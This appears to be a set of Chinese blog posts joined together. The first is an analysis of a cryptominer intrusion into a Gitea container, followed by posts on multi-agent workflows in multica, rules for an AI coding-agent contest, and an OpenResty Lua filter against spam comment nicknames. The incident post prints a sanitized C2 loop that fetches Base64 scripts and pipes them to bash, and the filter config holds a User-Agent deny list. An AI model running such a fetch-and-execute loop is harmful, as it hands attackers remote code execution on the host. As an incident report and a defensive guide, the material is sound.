8月11日凌晨，我收到了腾讯云安全（云镜）的告警：服务器上出现了疑似挖矿软件，还访问了一个恶意域名，进程名字甚至伪装成了 systemd-resolved。

第一反应当然是：我的服务器是不是被打穿了？

当时的我是真的有点慌，毕竟这台机器上跑着 Gitea，还有不少自己的仓库和配置。好在顺着进程、容器和文件挂载关系查下来，暂时没有发现宿主机被持久化或者逃逸的证据，实际受影响的范围主要是 Gitea 容器。

不过，容器没逃逸不等于这件事不严重。容器里能读到的仓库数据、挂载目录和密钥，依然可能已经暴露，所以该换的密钥一个都不能省。

1. 攻击链是怎么走进来的

1.1. Gitea 成了入口

这次使用的是比较老的 Gitea 1.21.11，而且当时还开放了用户注册，Web 端口也直接暴露在公网。

从 Gitea 的记录里可以看到，攻击者在 8 月 2 日和 8 月 9 日分批注册了几个账号，随后创建了一个看起来像随机字符串的仓库，并往仓库里放入了恶意 Git hook。

这个 hook 会在仓库操作后被触发，随后从远端拉取脚本执行。它运行在容器内的 git 用户下，UID 是 1002。也就是说，攻击者首先拿到的是 Gitea 容器里的代码执行能力，而不是直接拿到了宿主机的 root 权限。

这里最容易误判：入口是 Gitea，落点是容器，二者不能混为一谈。但如果容器挂载了宿主机目录，或者里面放着 SSH 私钥和 API Key，容器权限不高也足够让人难受了。

1.2. 木马不是一个文件，而是一整套东西

攻击者放进去的不是单独一个挖矿程序，而是一套带下载、挖矿和看门狗功能的文件：

• unicorn：约 8.3 MB 的静态 ELF 文件，负责挖门罗币（XMR）。
• config.json：XMRig 配置文件，里面写了多个矿池地址。
• jobs：每隔 180 秒从 C2 拉取脚本，经过 Base64 解码后交给 shell 执行。
• CRON：一个 musl ELF 调度组件。
• supervisord：加壳后的看门狗，用来拉起被杀掉的进程。
• 1786*：一批用时间戳命名的心跳标记文件，内容基本只是 TEST。
• /tmp/runc-process*：伪装成 runc 的临时文件，云镜每天都能检出，但文件随后会自删除。

jobs 的逻辑大概是下面这样，真实地址我就不放在示例里了：

1
2
3
4
5

while true; do
  curl -s "http://C2地址:端口/ok" | base64 -d | bash &
  wait $!
  sleep 180
done

这就解释了为什么我前面杀掉进程之后，它过一会儿又会回来：挖矿进程负责赚钱，看门狗和 C2 脚本负责让它重新活过来。

1.3. OOM 让问题看起来像普通的服务故障

8 月 7 日到 9 日，unicorn 反复把内存吃满，单次占用大约 1.8 GB，最后被内核的 OOM Killer 杀掉。Gitea 日志里也反复出现 oom-killer。

这类现象很容易被当成“服务器内存太小”或者“容器配置有问题”。但如果一个陌生进程被杀后又自己回来，就应该马上去查它的父进程、启动项、容器挂载和出站连接，而不是只给服务器加内存。

2. 我是怎么确认影响范围的

2.1. 先看内核日志

内核日志里留下了很直接的证据：

1
2

Aug 08 17:58:52 kernel: task_memcg=/system.slice/docker-b4fe18cdf...scope, task=unicorn, pid=1861040, uid=1002
Aug 08 17:58:52 kernel: Out of memory: Killed process 1861040 (unicorn) total-vm:2435264kB, anon-rss:1800696kB

这里的 task_memcg 明确指向 Docker cgroup，进程 UID 也对应容器内的 git 用户。它说明挖矿程序确实在容器里运行，但不能单凭这一条就断言宿主机绝对安全，所以后面还要继续查持久化和逃逸路径。

2.2. 配置文件把受害者信息也暴露了

XMRig 配置中的 rig-id 直接写出了 CPU 型号、核心数、内存大小、Docker 环境以及容器内网 IP。恶意程序为了方便矿池区分机器，顺手把受害者环境信息也打包带走了。

这次还发现容器里能读取到 Gitea 数据和挂载的 .ssh 目录，因此即使没有宿主机逃逸，也必须把相关私钥、用户密码、访问令牌和 API Key 按照已经泄露来处理。

2.3. 云镜告警和文件指纹能互相对上

云镜检出的恶意文件是 /data/gitea/home/.claude/unicorn，MD5 为 8f4fff0ded94f1141768220906abfbb8，和本地取证样本一致。除此之外，还反复检出了伪装成 runc 的 /tmp/runc-process* 文件。

下面是这次样本里整理出的 IOC。它们只用于记录和排查，别因为好奇直接访问这些地址：

3. 这次是怎么处置的

3.1. 先取证，再清理

我没有一上来就把文件全部删掉，而是先把 unicorn、config.json、jobs、CRON 和 supervisord 复制到隔离的取证目录，保留样本和哈希，方便后面确认攻击链。

同时把 Gitea 数据和配置做了完整备份。备份包大约 640 MB，包含 15 个仓库、Gitea 数据库和配置，校验后确认里面没有混入木马文件。

确认备份可用后，才删除了 Gitea 容器以及挂载目录里的 .claude、supervisord 和时间戳标记文件。8 月 11 日 00:24 删除容器后，挖矿进程终于停止，没有再被 restart:always 拉起来。

3.2. 再确认宿主机有没有留下后门

清理完容器后，我又做了一遍全盘和运行状态复核：

• 磁盘里没有发现木马残留，取证副本除外。
• 当前没有挖矿进程，也没有异常出站连接和新增监听端口。
• cron、systemd 服务和 SSH 相关位置没有发现持久化痕迹。
• 宿主机的 systemd-resolved 二进制和 dpkg 校验结果一致，之前看到的同名进程只是伪装，并不是系统文件被替换。
• 没有发现异常用户、新系统服务或异常计划任务。
• Docker 容器没有挂载 docker.sock，暂时没有发现从容器逃逸到宿主机的路径。

所以这次可以确认：当前发现的受影响范围主要是 Gitea 容器，宿主机暂时没有沦陷证据。但“暂时没有证据”不等于“可以不用换密钥”，这两个结论要分开看。

4. 接下来必须补上的安全措施

4.1. 凭据全部按泄露处理

容器进程能读到的私钥和配置都不能再继续使用：

• 重新生成并替换 git 用户的 SSH 私钥。
• 立即重置配置文件中的 DeepSeek API Key，正文不展示任何真实密钥。
• Ubuntu 的 SSH 密钥如果有任何一把无法确认来源，就清空 authorized_keys 后重新添加。
• 重建 Gitea 时，所有用户密码、访问令牌和 LFS 密钥全部重置。
• 恢复仓库前删除攻击者账号和对应仓库，只恢复确认过的个人数据。

4.2. 把公网暴露面收回来

重建 Gitea 时应该直接使用最新版镜像，关闭开放注册，设置强密码，并且不要再把 .ssh 目录直接挂进容器。Gitea 的 SSH 服务只绑定本机，外部访问统一走反向代理。

腾讯云安全组只保留 22、80 和 443 等确实需要的端口，其他服务先绑定到 127.0.0.1，再通过 OpenResty 反代出去。1Panel 管理端口也要加本机 IP 白名单，SSH 再配上 fail2ban。

这里还有一个很容易忽略的坑：Docker 发布的端口可能绕过主机上的 ufw 规则，所以安全组必须作为最后一道防线，不能只盯着服务器内部的防火墙。

4.3. 把监控补起来

后面需要给 CPU 长时间满载、新增监听端口和异常出站连接配置告警，并把这次的 IOC 提交到腾讯云工单或威胁情报平台。

另外，restart:always 平时确实很方便，但发生安全事件时也会让恶意进程在重启后自动复活。以后处理容器异常时，不能只执行“重启一下试试”，要连同挂载目录、启动策略和宿主机进程一起检查。

5. The end

这次最吓人的不是挖矿本身，而是我以前把“容器”和“安全边界”想得太简单了。容器没有逃逸，确实帮我把损失限制在了 Gitea 服务里；但只要里面放了 SSH 私钥、API Key 和仓库数据，攻击者照样可以顺着这些东西继续往外摸。

现在回头看，开放注册、老版本 Gitea、公网暴露端口、挂载 .ssh，每一项单独看都像是“先这样跑着”，组合起来就给攻击者铺好了路。

这次算是把该补的课一次性补上了：先取证，再清理；先换密钥，再恢复服务；最后把不该暴露在公网的端口全部收回来。服务器能跑起来不代表安全，能经得起一次完整排查才算真的搞定。😥

之前就了解到了 multica 这个“Agent 看板”工具，于是就开始使用了一段时间。在这里分享几个简单的使用心得吧。截图就懒得截了，因为有私密信息，得打特别多的码。

简介

首先呢，简单介绍一下这玩意，这玩意就是一个看板，创建 todo 之后，可以指派给某个人，也可以指派给某个连上了 multica 的 agent。multica 本身没有 agent loop，他的 agent 是通过在你的电脑上安装的一个 deamon，和 multica 的 server 交互的，在 server 的看板上，这些 deamon 叫做“runtime”，一个 runtime 等价于一台链接上了 mutlica 的主机。在 runtime 之上，我们需要创建自己的 Agent，并给这些 Agent 绑定导入的 skills 和 system prompt，这样 Agent 就可以用你指定的工具，在你指定的电脑上执行任务了。

在这个机制下，multica 可以用任何你想用的 agent 工具，且复用你本地 codex/claude code 的个人订阅（配置第三方 endpoint 也能用的，和你本地人工启动 codex 和 cc 没区别），来完成工作。即便是在同一个 runtime 上，每个 Agent 也可以使用不同的工具，不同的模型，来在特定的场景 boost 模型的能力（比如 claude 擅长 plan，gpt 擅长干）

最基本的使用方式，就是创建一个任务，然后指派给一个你创建好的 agent，他就会收到这个任务（在 multica 上叫做 issue）的信息，在你本地 multica 创建出来的一个工作目录里面开始干活。

在 issue 下的评论区 @ 另外一个 Agent，另外一个 Agent 也能收到这个 issue 的所有信息（包括描述和下面已有的评论），开始干活。

agent 协作

接下来说重点，如何让 multica 上的 Agent 能够相互协作。

核心原理非常简单，让 Agent A 在需要另外一个 Agent B 协助的时候，在 issue 下面发布评论，并 mention 另外一个 Agent 即可！

mutlica 的 mention 工具对 Agent 的注入不够完善，有可能 Agent 不知道如何 @ 另外一个 Agent，需要在 Agent 的 prompt 里面写明确“使用mention工具交付任务给指定Agent：xxx”

以全栈开发为例，直接按研发的流程来创建 Agent 就行了，分为需求文档、技术方案、代码编写、代码review、测试、准出这几个流程。

• 用户创建需求，写好需求简述
• 需求文档编写 Agent 根据需求编写需求文档，并通过 issue 评论的方式交付需求文档
• 需求文档这一步可以加一个人工卡控流程，让人工确认 Agent 对需求的理解没有问题，避免需求理解歪了，后面做得再多也没有意义
• 需求确认后，技术方案编写 Agent 根据 PRD 和项目背景编写技术方案，再通过 issue 评论提交给研发评审
• 技术方案评审不通过就打回技术方案编写 Agent 修改，通过后再 mention 代码编写 Agent。不能直接拿 PRD 当 plan 开干
• 代码编写 Agent 搞定后，交付代码 CR Agent，先对问题进行AICR（code review）
• AICR 完毕后，再次 mention 实现 Agent，要求其根据CR结果修改问题
• 实现 Agent 根据问题修复完毕后，要求 CR Agent 对问题进行二次确认
• 为了避免两个 Agent 进入互怼死循环，请在代码编写 Agent 的 prompt 里面写清楚允许的交互轮次，建议只允许 1 轮交互，如果在第一次修复后还是被 CR Agent 指出了问题，代码编写 Agent需要中断流程要求人工介入。
• CR Agent 实现代码准出后，交付任务给测试 Agent，进行测试（注意这里的测试是系统测试，如果是单测让代码编写 Agent 自己干了，不然他写的代码肯定有问题）。这要看项目的可测性能力了，如果是前后端项目，可以直接用 codex 来干，codex 的浏览器自动化能力太超模了。如果是移动端、服务端项目，就麻烦很多，得自己看看如何让 Agent 进行测试。
• 测试验收失败，打回代码实现 Agent，修复问题。如果有 blocker 问题，建议测试验收失败 Agent 要求人工介入。
• 测试验收成功，直接交付发布 Agent 进行发布（一般是提交代码 PR）
• 同样的，测试打回也要加上上限，最好是第二次还被打回就直接要求人工介入

到这里，全流程结束，很流畅的搞定喽。

让 ai 给这个链路画了个流程图，方便理解。

flowchart TD    A["用户创建需求<br/>填写需求简述"] --> B["需求文档 Agent<br/>编写完整需求文档"]    B --> C["通过 Issue 评论<br/>交付需求文档"]    C --> D{"启用需求人工卡控？"}    D -- "启用" --> E{"需求理解正确？"}    E -- "否" --> B    E -- "是" --> F    D -- "不启用" --> F["技术方案 Agent<br/>根据 PRD 编写技术方案"]    F --> G["通过 Issue 评论<br/>提交研发评审"]    G --> H{"技术方案评审通过？"}    H -- "否" --> F    H -- "是" --> I["代码实现 Agent<br/>编码并完成单元测试"]    I --> J["Issue 评论<br/>交付 CR Agent"]    J --> K["CR Agent<br/>第一次 AI CR"]    K --> L{"代码准出？"}    L -- "是" --> Q    L -- "否" --> M["Issue 评论 mention 实现 Agent<br/>提交 CR 问题"]    M --> N["实现 Agent<br/>仅允许 1 次修复"]    N --> O["CR Agent<br/>二次确认"]    O --> P{"二次确认准出？"}    P -- "是" --> Q["测试 Agent<br/>执行系统测试"]    P -- "否" --> X["中断自动流程<br/>要求人工介入"]    Q --> R{"测试通过？"}    R -- "是" --> S["发布 Agent<br/>提交代码并创建 PR"]    S --> T["流程完成"]    R -- "否" --> U{"存在 Blocker？"}    U -- "是" --> X    U -- "否" --> V["实现 Agent<br/>修复测试问题"]    V --> Q    classDef human fill:#fff3cd,stroke:#b8860b,color:#222;    classDef agent fill:#e8f1ff,stroke:#4677b8,color:#222;    classDef decision fill:#f5e8ff,stroke:#8250a8,color:#222;    classDef stop fill:#ffe8e8,stroke:#b84545,color:#222;    classDef success fill:#e6f6ea,stroke:#38864b,color:#222;    class A,E,H human;    class B,F,G,I,J,K,M,N,O,Q,S,V agent;    class D,L,P,R,U decision;    class X stop;    class T success;

这里特意把技术方案和研发评审单独拎了出来。PRD 只说明要做什么，不能直接拿它当 plan 开干，技术方案评审通过了再让实现 Agent 动手。

几点注意事项

• 【重点】一定要给每个 Agent 都规定好 blocker 策略，避免 Agent 进入死循环。这个非常非常重要！特别是测试环节，如果在测试进行环境准备的时候遇到了无法解决的环境问题（比如 playwright 连不上 chrome 之类的问题），要求 Agent 重试 2 次就 abort，不然 Agent 可能会和测试工具的环境问题进行死磕到底……
• 如果是前后端项目，需要要求 Agent 每次启动的时候都要找一个不同的数据目录，不同的端口启动，避免并发任务的时候相互干扰。至于开发目录不用担心，mutlica 本身的 workspace 就是隔离的，除非 AI 犯病去看别的目录在干嘛，不然不会相互干扰。
• Agent 给定的背景信息很重要，对于一个项目而言，最好是给每个 Agent 都注入这个项目的特定知识，不然肯定是会乱搞的。
• 把 rm 命令，数据库 drop delete 权限都给 ai 下掉，不然给你拉坨大的……

注意确认全局的 claude 命令和 codex 命令指向的是不是 cli，因为 claude desktop 和 codex desktop 都会内嵌一个一模一样的命令，如果是 desktop 内嵌的那个命令是没法用的

欢迎交流

感觉这样的操作方式会比用 codex 里面写一个 skills 来编排流程更好。而且后续能有清晰的项目归档，方便回溯。流程定义也非常简单，直接在 Agent 的 prompt 的末尾告诉他，他的下家 Agent 的名字就行了。不需要在 skills 里面还维护一个状态图。

当然还有另外一个方案就是 codex 的 goal，对于前后端项目而言，一个大 goal 下去 sol 基本上啥都能给你写出来，顶多是前端样式很烂需要微调，功能不会有啥问题的。

有了 multica 之后越来越像老板了，只不过老板 @ 的是真人，我 @ 的是 AI……

欢迎来到叙界赛博斗蛐蛐系列，本系列目录如下：

1. 【AI】叙界S3备份需求，多Agent赛马

1. 起因

现在各种编程Agent越出越多，模型上下文也是从200K一路卷到1M。平时拿它们修个小Bug，大家看起来都挺像那么回事；但任务一复杂，工具调用、需求理解、数据库迁移、前端交互和测试全搅在一起，差距就出来了。

所以这次不看宣传页，直接拿叙界 Scriverse的S3备份需求来跑一轮赛马。

为了尽量公平，所有Agent使用相同的git worktree skill、相同的任务prompt和同一套人工验收用例。模型能不能主动发现问题、会不会被无关skill带偏、最后交出来的代码到底能不能用，都算测试的一部分。

2. 参赛选手

还有几个没参赛的：

3. 测试方式

• 先使用相同的skill创建git worktree。很多工具没有自带worktree功能，这样能让每个Agent在独立目录里干活。
• 测试前已经确认所有Agent工具都支持读取项目根目录下的AGENTS.md，并关闭记忆功能，避免出现项目知识偏差。
• 所有Agent都使用最大思考强度和最大上下文模式，并开启yolo模式。
• 测试前没有刻意清空各个Agent工具的skill目录，但也没有安装superpower、front-design之类的编程skill。如果模型在相同prompt下自己跑进毫不相干的skill里，这也属于要展示的bad case。

3.1. 首个prompt

所有选手使用同一份git worktree skill（链接），然后发送下面这句话：

1

使用 git-worktree skills 创建一个 worktree，等待我的下一步指示

这份skill会要求Agent先询问用户选择基础分支，这也算测试的一部分，看看有没有选手不问就直接开干。

3.2. 任务prompt

任务基于Scriverse的v0.6.6版本，commit为91f9189e5bb34e1bbf6bcaa8442e6a1ac61be5c2。

不知道会不会有人觉得这个 prompt 还不够详细，我想说的是这已经是算是不写 plan 的情况下非常详细的一个 prompt 了，如果是我要让 sol 来写这个需求，我绝对不会写这么多，只会写一句话……

1
2
3
4
5
6
7
8
9
10
11
12

为当前项目加上数据库和图片的 s3 备份能力：

1. 支持配置多个亚马逊 s3 兼容的配置项，作为同步服务器的目标，支持同时开启多个备份目标，依次同步到对应目标中；
2. 配置项里面需要有子目录的设置能力，同步到给定子目录（没有给定的时候默认桶根目录）下的 /scriverse 子目录中；
3. 把图片上传到 /scriverse/img 子目录中，若图片已经存在则跳过，不存在上传；
4. 数据库备份到 /scriverse/db 子目录中，不进行历史备份覆盖，在 db 文件名中加上时间戳后上传，方便用作后续的快照回滚；
5. 支持选择是否备份图片，不勾选的时候只备份数据库；
6. 支持选择备份定时任务的触发时间和备份留存个数，超过备份留存个数后，删除最老的数据库备份（不清理图片）；
7. 设置入口加到整个系统的设置中，不需要支持选择书籍，只支持备份整个系统的数据；
8. 如果对应 s3 服务请求失败，需要在日志里面完整打印失败的 s3 配置项（ak 和 sk 不打印）和它的请求失败 s3 服务端的返回结果，并toast提示前端，禁止静默失败；

在任务执行期间必须自行完成决策，禁止咨询用户任何问题。

4. 验收方式

4.1. 测试材料

最终人工验收统一使用同一份演示数据库，公开复现材料已经上传到 scriverse-llm-racing：

1

~/document/scriverse-version-comparison/scriverse-demo-db-with-setting-images-20260802.zip

测试时统一用跳过登录的命令启动server：

1

NODE_ENV=development APP_DEV_SKIP_AUTH=true npm run dev

七牛云S3测试配置如下，正式使用时换成自己的AK和SK：

1
2
3
4
5

scriverse-test
https://s3.cn-south-1.qiniucs.com/
cn-south-1
access_key_id = 你的AK
secret_access_key = 你的SK

4.2. 打分规则

所有测试用例都可以从首个prompt和AGENTS.md中推断出来。

功能用例满分200分，P00用例不通过扣30分，P0用例不通过扣10分，P1用例不通过扣5分，P2用例失败不扣分。因此最低得分是 30 分。

除了功能用例，还会单独让观众用问卷给不同模型实现出来的UI打分，满分10分。

场外还有两个观察项：

• 版本91f9189e5bb34e1bbf6bcaa8442e6a1ac61be5c2存在一个因为修改不完整导致的版本号检查报错，看看有没有谁能主动修复。
• Agent在任务期间不能被无关skill误导，也不能读取其他选手创建的worktree。可不能偷看别人答案。

5. The end

这篇先把参赛名单、统一prompt和20项验收规则摆出来，省得后面有人看完结果再说规则是临时改的。

从下一篇开始再让选手分批进场。跑得快只是第一步，数据库迁移、在线备份、S3分页清理、凭证加密、定时任务恢复和UI都得一个个验过去。到时候再看看谁是真的能打，谁只是先把“任务完成”四个字打出来。

1.起因

之前我的Artalk评论区总会收到一些脚本发出来的垃圾评论，所以在Nginx里面加了一层User-Agent过滤，把curl、python requests之类的请求直接拦掉了。

之前的文章：【Nginx】配置nginx拦截非浏览器请求

这个配置确实清静了一段时间，但也只能拦住那些演都不演的脚本。User-Agent本来就是请求方自己填的，脚本随便伪装成Chrome或者Edge，就能和普通浏览器一样进入Artalk。

最近评论区又冒出来一些奇怪玩意，昵称直接叫“算命”“机场”“手游代理”，评论内容则是随便敲几个数字，再把广告链接塞到网址里面。好家伙，这是把昵称当广告牌用了。

既然拦请求头已经不够了，那就继续往里面检查：只要提交评论时，昵称包含指定的广告词，OpenResty直接返回403，不再把请求交给Artalk。

2.为什么要用OpenResty Lua

我目前用的Artalk服务端版本应该还是2.5.4左右，创建评论使用的是下面这个接口：

1

POST /api/v2/comments

提交的数据是JSON，其中昵称字段叫name：

1
2
3
4
5
6
7

{
  "name": "普通访客",
  "email": "me@example.com",
  "content": "评论内容",
  "page_key": "/posts/1234567890",
  "site_name": "慕雪的博客"
}

Artalk API文档：https://artalk.js.org/http-api

一开始我想直接用Nginx的$request_body配合if匹配，后来发现这玩意在当前阶段不一定已经读到请求体，写出来看着很合理，实际上可能根本没生效。

我的反向代理跑的本来就是OpenResty，它自带lua-nginx-module，可以在访问阶段调用ngx.req.read_body()，把JSON解析出来以后再检查name。既然现成的工具已经摆在这里了，那就别继续为难原生Nginx配置了。

OpenResty Lua模块：https://github.com/openresty/lua-nginx-module

还有一点很重要：这里只检查昵称，不检查整个请求体。否则正常读者在评论正文里面聊到“机场”“代理”之类的词，也会被一棒子打成广告，这误伤就太离谱了。

3.准备外置屏蔽词

3.1 创建词库文件

一开始我把词全部写在access_by_lua_block里面，测试“算命”的确可以返回403。不过每次加词都要改一大段Nginx配置，看着就头疼，所以后来把它拆成了单独的文本文件。

在OpenResty的conf.d目录创建：

1

artalk-blocked-words.txt

文件一行放一个词，以#开头的行会被当成注释：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94

# 命理广告
算命
八字
生辰八字
看相
面相
手相
命理
风水
占卜
起名
测名
改运
转运
开运
姻缘测算
合婚

# 网络代理广告
机场
机场推荐
机场订阅
梯子
翻墙
科学上网
节点
节点购买
节点订阅
代理
代理订阅
手游代理
加速器
专线节点
中转节点
vpn
ssr节点
v2ray节点
trojan节点
clash订阅

# 博彩广告
博彩
赌博
赌场
真人娱乐
真人荷官
棋牌游戏
彩票
时时彩
北京赛车
六合彩
体育投注
外围投注
投注平台
送彩金
包赢
稳赚不赔

# 色情和交友广告
约炮
同城约炮
一夜情
上门服务
成人网站
成人直播
成人视频
裸聊
色情直播
私密视频

# 诈骗和导流广告
刷单
兼职刷单
日赚
躺赚
网赚
赚钱项目
高佣返利
资金盘
杀猪盘
跑分
网贷
快速下款
征信修复
信用卡套现
投资导师
带单老师
牛股推荐
加微信
微信咨询
联系微信
扫码咨询
进群领取
telegram

因为我的conf.d目录本身就挂载到了宿主机，所以这个文件也会跟着持久化。不要只在容器里面临时创建文件，否则以后重建容器，词库也会一起消失！！！！

3.2 完整location配置

下面就是我最后使用的完整location配置，Artalk在本机的代理端口是14722。如果你的端口不一样，记得修改proxy_pass。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243

location ^~ / {
    ###### 非浏览器请求拦截 ######

    set $block_request 0;

    if ($http_user_agent ~* (curl|wget|httpie|python|Go-http-client|okhttp|java|bot|spider|crawler|Postman|Apache-HttpClient|HeadlessChrome|xx032_)) {
        set $block_request 1;
    }

    if ($http_user_agent ~* "UptimeRobot") {
        set $block_request 0;
    }

    if ($block_request = 1) {
        return 403;
    }

    ###### 非浏览器请求拦截 ######


    ###### Artalk评论昵称关键字拦截 ######

    access_by_lua_block {
        -- 返回JSON错误
        local function respond_error(status, message)
            ngx.status = status
            ngx.header["Content-Type"] =
                "application/json; charset=utf-8"

            -- 跨域部署时允许Artalk前端读取错误信息
            local origin = ngx.var.http_origin

            if origin and origin ~= "" then
                ngx.header["Access-Control-Allow-Origin"] = origin
                ngx.header["Access-Control-Allow-Credentials"] = "true"
                ngx.header["Vary"] = "Origin"
            end

            ngx.say('{"msg":"' .. message .. '"}')
            return ngx.exit(status)
        end

        -- 只处理Artalk评论提交请求
        if ngx.req.get_method() ~= "POST"
            or (
                ngx.var.uri ~= "/api/v2/comments"
                and ngx.var.uri ~= "/api/v2/comments/"
            ) then
            return
        end

        ngx.req.read_body()

        local body = ngx.req.get_body_data()

        -- 请求体较大时，Nginx可能将其写入临时文件
        if not body then
            local body_file = ngx.req.get_body_file()

            if body_file then
                local request_file, request_file_err =
                    io.open(body_file, "rb")

                if request_file then
                    body = request_file:read("*a")
                    request_file:close()
                else
                    ngx.log(
                        ngx.ERR,
                        "Failed to read Artalk request body file: ",
                        request_file_err or "unknown error",
                        ", path: ",
                        body_file
                    )
                end
            end
        end

        if not body then
            ngx.log(
                ngx.ERR,
                "Failed to read Artalk request body"
            )

            return respond_error(
                ngx.HTTP_INTERNAL_SERVER_ERROR,
                "Comment filtering is temporarily unavailable. Please try again later."
            )
        end

        local cjson = require "cjson.safe"
        local data, json_err = cjson.decode(body)

        if type(data) ~= "table" then
            ngx.log(
                ngx.WARN,
                "Failed to parse Artalk request JSON: ",
                json_err or "unknown error"
            )
            return
        end

        if type(data.name) ~= "string" then
            return
        end

        -- 统一处理昵称和屏蔽词
        local function normalize(value)
            value = value:lower()
            value = value:gsub("%s+", "")
            value = value:gsub("[%.%-%_|]+", "")
            value = value:gsub("·", "")
            value = value:gsub("｜", "")
            return value
        end

        local name = normalize(data.name)

        -- 尝试从常见OpenResty配置目录读取词库
        local prefix = ngx.config.prefix()
        local separator = prefix:sub(-1) == "/" and "" or "/"

        local candidate_paths = {
            prefix
                .. separator
                .. "conf.d/artalk-blocked-words.txt",

            "/etc/nginx/conf.d/artalk-blocked-words.txt",

            "/usr/local/openresty/nginx/conf.d/artalk-blocked-words.txt",

            "/usr/local/openresty/nginx/conf/conf.d/artalk-blocked-words.txt"
        }

        local words_file = nil
        local words_path = nil
        local words_file_err = nil

        for _, candidate_path in ipairs(candidate_paths) do
            local candidate_file, candidate_err =
                io.open(candidate_path, "r")

            if candidate_file then
                words_file = candidate_file
                words_path = candidate_path
                break
            end

            words_file_err = candidate_err
        end

        -- 读取失败时拒绝评论，防止过滤器静默失效
        if not words_file then
            ngx.log(
                ngx.ERR,
                "Failed to open Artalk blocked words file: ",
                words_file_err or "unknown error",
                ", attempted paths: ",
                table.concat(candidate_paths, ", ")
            )

            return respond_error(
                ngx.HTTP_INTERNAL_SERVER_ERROR,
                "Comment filtering is temporarily unavailable. Please try again later."
            )
        end

        local blocked_word = nil
        local loaded_word_count = 0

        for line in words_file:lines() do
            -- 去除UTF-8 BOM
            line = line:gsub("^\239\187\191", "")

            -- 去除行首和行尾空白
            local word = line:match("^%s*(.-)%s*$")

            -- 忽略空行和注释行
            if word ~= "" and word:sub(1, 1) ~= "#" then
                word = normalize(word)

                if word ~= "" then
                    loaded_word_count = loaded_word_count + 1

                    if name:find(word, 1, true) then
                        blocked_word = word
                        break
                    end
                end
            end
        end

        words_file:close()

        -- 词库为空时拒绝评论，防止过滤器静默失效
        if loaded_word_count == 0 then
            ngx.log(
                ngx.ERR,
                "Artalk blocked words file is empty: ",
                words_path
            )

            return respond_error(
                ngx.HTTP_INTERNAL_SERVER_ERROR,
                "Comment filtering is temporarily unavailable. Please try again later."
            )
        end

        if blocked_word then
            ngx.log(
                ngx.WARN,
                "Blocked Artalk spam nickname from ",
                ngx.var.remote_addr,
                ", matched word: ",
                blocked_word
            )

            return respond_error(
                ngx.HTTP_FORBIDDEN,
                "Comment rejected: the nickname contains prohibited advertising or spam-related terms. Please use a different nickname."
            )
        end
    }

    ###### Artalk评论昵称关键字拦截 ######


    proxy_pass http://127.0.0.1:14722;

    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header REMOTE-HOST $remote_addr;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    proxy_set_header X-Forwarded-Proto $scheme;

    proxy_http_version 1.1;

    add_header X-Cache $upstream_cache_status;
    add_header Strict-Transport-Security "max-age=31536000";
    add_header Cache-Control no-cache;
}

这里没有把我服务器上的地区IP限制配置放进去，毕竟每个人的访问控制都不一样。保留自己原本的include、allow和deny配置就行。

4.我又把自己坑了一次

内置数组测试成功以后，我兴冲冲地把词库换成了外部文件，然后用“手游代理”当昵称发评论。

结果，它居然成功发出去了。

这就很离谱，因为“手游代理”不光应该命中完整词语，还会命中词库里的“代理”。后来才发现，不是匹配代码有问题，而是OpenResty根本没有读到外部文件。

最开始的代码在io.open()失败后直接return，相当于过滤器出错就放行。文件放错目录、没有挂载进容器、权限不对，都会让整套过滤静悄悄地失效，日志不看根本发现不了。

所以最终配置做了两件事：

1. 依次尝试几个常见的OpenResty配置路径；
2. 词库不存在、不可读或者为空时返回500，不再把评论放过去。

这样配置有问题时，前端会明确显示：

1

Comment filtering is temporarily unavailable. Please try again later.

虽然会暂时影响评论，但总比自以为过滤器在工作，实际广告全放进来强。对我这种个人博客来说，过滤器挂了就先禁止提交反而更加合适。

5.检查和测试

5.1 检查并重载OpenResty

修改Nginx配置以后，先检查语法：

1

$ docker exec 你的OpenResty容器名 openresty -t

没有问题再重载：

1

$ docker exec 你的OpenResty容器名 openresty -s reload

如果镜像里面没有openresty命令，就把它换成nginx。

只修改artalk-blocked-words.txt不需要重载，因为每次提交评论都会重新读取这个小文件。我的博客评论量不高，这点磁盘读取开销可以忽略。流量特别大的站点可以改成Lua模块配合require缓存，但更新词库以后就需要重载worker了。

5.2 模拟广告昵称

我原来的配置会拦截curl这个User-Agent，所以测试时要伪装成普通浏览器，不然拿到的403可能来自第一层UA规则，根本证明不了昵称过滤生效。

1
2
3
4

$ curl -i "https://你的Artalk域名/api/v2/comments" \
  -A "Mozilla/5.0" \
  -H "Content-Type: application/json" \
  --data '{"name":"手游代理"}'

正常情况下会返回：

1
2

HTTP/2 403
{"msg":"Comment rejected: the nickname contains prohibited advertising or spam-related terms. Please use a different nickname."}

然后再换一个正常昵称：

1
2
3
4

$ curl -i "https://你的Artalk域名/api/v2/comments" \
  -A "Mozilla/5.0" \
  -H "Content-Type: application/json" \
  --data '{"name":"普通访客"}'

因为测试数据缺少邮箱、正文和页面信息，Artalk大概率会返回400，但它不应该返回昵称过滤器产生的403。

最终回到网页上测试，“算命”“手游代理”这类昵称都会显示评论失败，普通昵称则可以正常发表评论，这下才算是真的搞定了。

